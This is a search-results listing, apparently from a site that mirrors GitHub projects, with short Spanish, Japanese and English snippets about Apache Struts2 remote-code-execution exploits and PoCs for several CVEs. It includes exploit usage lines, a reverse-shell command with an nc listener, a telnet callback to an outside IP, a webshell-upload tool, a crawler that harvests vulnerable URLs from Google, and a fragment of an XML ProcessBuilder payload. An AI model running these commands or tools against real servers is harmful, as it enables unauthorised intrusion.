419 matches found
S2-053-CVE-2017-12611
S2-053-CVE-2017-12611 Un script simple para explotar RCE en Struts 2 S2-053CVE-2017-12611 Uso root@kitploit: exploit.py Ejemplo root@kitploit: $ python s2-053-exploit.py "http://127.0.0.1" "name" "uname -a" Generated EXP:...
CVE-2021-31805-POC
CVE-2021-31805-POC Vulnerability Information Apache Struts is a free, open-source MVC framework for creating elegant, modern Java web applications. It favors convention over configuration, can be extended using a plugin architecture, and ships with plugins that support REST, AJAX, and JSON...
s2-062
s2-062 リモートコード実行 S2-062 CVE-2021-31805 検証POC 検証方法 vulfocusターゲットの問題点 POC内ではs2-061ターゲットを検証しており、パラメータはid、新しいターゲットのパラメータはname idを判断した主な理由は、WindowsとLinuxで共通する適切なコマンドエコー検出の特徴が思いつかなかったため ターゲットはエコーなしのため、コマンドは確認できないと思われる ただし、リバースシェルやdnslogによる検出は可能 エコーなしの場合...
CVE-2018-11776
CVE-2018-11776 CVE-2018-11776 / S2-057 の環境 デモ サーバーの起動 root@kitploit: $ docker run -d --hostname struts2 --name cve-2018-11776 -p 30080:8080 knqyf263/cve-2018-11776 エクスプロイト root@kitploit: $ nc -l 10000 or nc -lp 10000 root@kitploit: $ python3 exploit.py localhost:30080 'bash -i &...
S2-Reaper
S2-Reaper Este proyecto se utiliza para recolectar URLs vulnerables afectadas por Struts2 S2-045 de los resultados de búsqueda de Google. Uso root@kitploit: python reaper.py Acerca de El reaper.py ejecutará un rastreador de búsqueda de Google con palabras clave definidas en crawler.conf para...
CVE-2020-17530-s2-061
CVE-2020-17530-s2-061 El exp con interfaz gráfica para s2-061, solo por diversión y práctica Uso root@kitploit: python CVE-2020-17530.py Introduce la dirección del objetivo Introduce el comando del sistema que quieras ejecutar Haz clic en Ejecutar PD:el exp incluye una función de reverse shell...
S2-057-CVE-2018-11776
S2-057-CVE-2018-11776 Un exploit simple para Apache Struts RCE S2-057 CVE-2018-11776 IMPORTANTE: Se proporciona solo con fines educativos o informativos. Desplegar entorno de prueba root@kitploit: git clone https://github.com/vulhub/vulhub cd vulhub/struts2/s2-057 docker-compose up -d Uso...
S2-046_S2-045_POC
S2-046POC Uso: root@kitploit: ./s2046.sh url ./s2045.sh url Ejemplo: 1. chmod +x ./s2046.sh 2. ./s2046.sh http://172.16.152.135/index.action SALIDA: root@kitploit: ================HTTP GET Method================ uid=0root gid=0root groups=0root...
Struts2-045-Exp
Herramientas de Explotación Struts2 S2-045 CVE-2017-5638 Función de Explotación: Ejecución de Comandos Obtener la Ruta Física del Sitio Web Objetivo Subida de Archivos Obtener Shell Webshell Predeterminada para Chopper Soporte HTTP/HTTPS Soporte URL con Cualquier Puerto Nota: La contraseña de la...
CVE-2024-53677
POCの出典 https://y4tacker.github.io/2024/12/16/year/2024/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E9%80%BB%E8%BE%91%E7%BB%95%E8%BF%87-CVE-2024-53677-S2-067/ RCE条件 1. 危険なタイプの拡張子に制限がない 2. ファイルアップロード時にアップロードパラメータからファイル名を取得する したがって、緩和修正も簡単で、拡張子の制限、カスタムランダムファイル名の使用など スクリプトの使い方 root@kitploi...
CVE-2017-5638
CVE-2017-5638 This script is intended to validate Apache Struts 2 vulnerability CVE-2017-5638, AKA Struts-Shock. This is a completely harmless as it does not inject any malicious payload, only inject an HTTP header named 'STRUTS2-VALIDATION' in order to be able to validate whether is vulnerable...
CVE-2019-0230
CVE-2019-0230 CVE-2019-0230 & s2-059 poc...
CVE-2020-17531
CVE-2020-17530 Apache Struts2 framework is a web framework for developing Java EE web applications. Apache Struts disclosed S2-061 Struts remote code execution vulnerability CVE-2020-17530 on December 08, 2020. When using certain tags and other cases, there may be an OGNL expression injection...
CVE-2017-5638
CVE-2017-5638 | Struts s2-045 Description It is possible to perform a RCE attack with a malicious Content-Type value. If the Content-Type value isn't valid an exception is thrown which is then used to display an error message to a user. Affected versions Struts 2.3.5 Struts 2.3.31 Struts 2.5 Stru...
CVE-2019-0230
¿Qué es esto? Este es un proyecto de prueba simple para S2-059 que puede utilizarse para analizar los detalles de esta vulnerabilidad. Cómo usar Paso 1: Usa IDEA para importar este proyecto Paso 2: Configura el servidor Tomcat Paso 3: Utiliza el navegador para acceder a...
-CVE-2017-9805
脆弱性情報 リソース: https://vulners.com/cve/CVE-2017-9805 これは何ですか? S2-052 に対して脆弱な Struts2 をホストするシステムのシェルにリモートコマンドを実行できる Python エクスプロイトスクリプトです。 使用方法 ╭─root@blackshell / ╰─ python s2-052.py --target 'http://192.168.0.233/orders/3' --command "echo pwned | telnet 192.168.0.122 1234" root@kitploit: Apache...
CVE-2020-17530
¿Qué es esto? Este es un proyecto de prueba simple para S2-061 que puede usarse para analizar el detalle de esta vulnerabilidad. Cómo usar Paso 1: Usa IDEA para importar este proyecto Paso 2: Configura el servidor tomcat Paso 3: Accede mediante navegador a...
CVE-2020-17530
S2-061 Todos los scripts están escritos basados en el entorno de prueba de vulnerabilidades struts2-059/061 de vulhub, no son universales, espero que los expertos me den consejos. struts2-061-poc.py puede ejecutar comandos simples del sistema Uso: python struts2-061-poc.py http://ip:port command...
freemarker_RCE_struts2_s2-061
freemarkerRCEstruts2s2-061 cve-2020-17530 struts2s2-061 freemarkerRCE テストスクリプト python freemarkerRCEstruts2s2-061.py...
S2-052
Exploit de Shell Reverso para CVE-2017-9805 S2-052 Versiones afectadas root@kitploit: Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12 PoC root@kitploit: Content-Type: application/xml 0 false 0 calc false java.lang.ProcessBuilder start foo foo false 0 0 false false 0...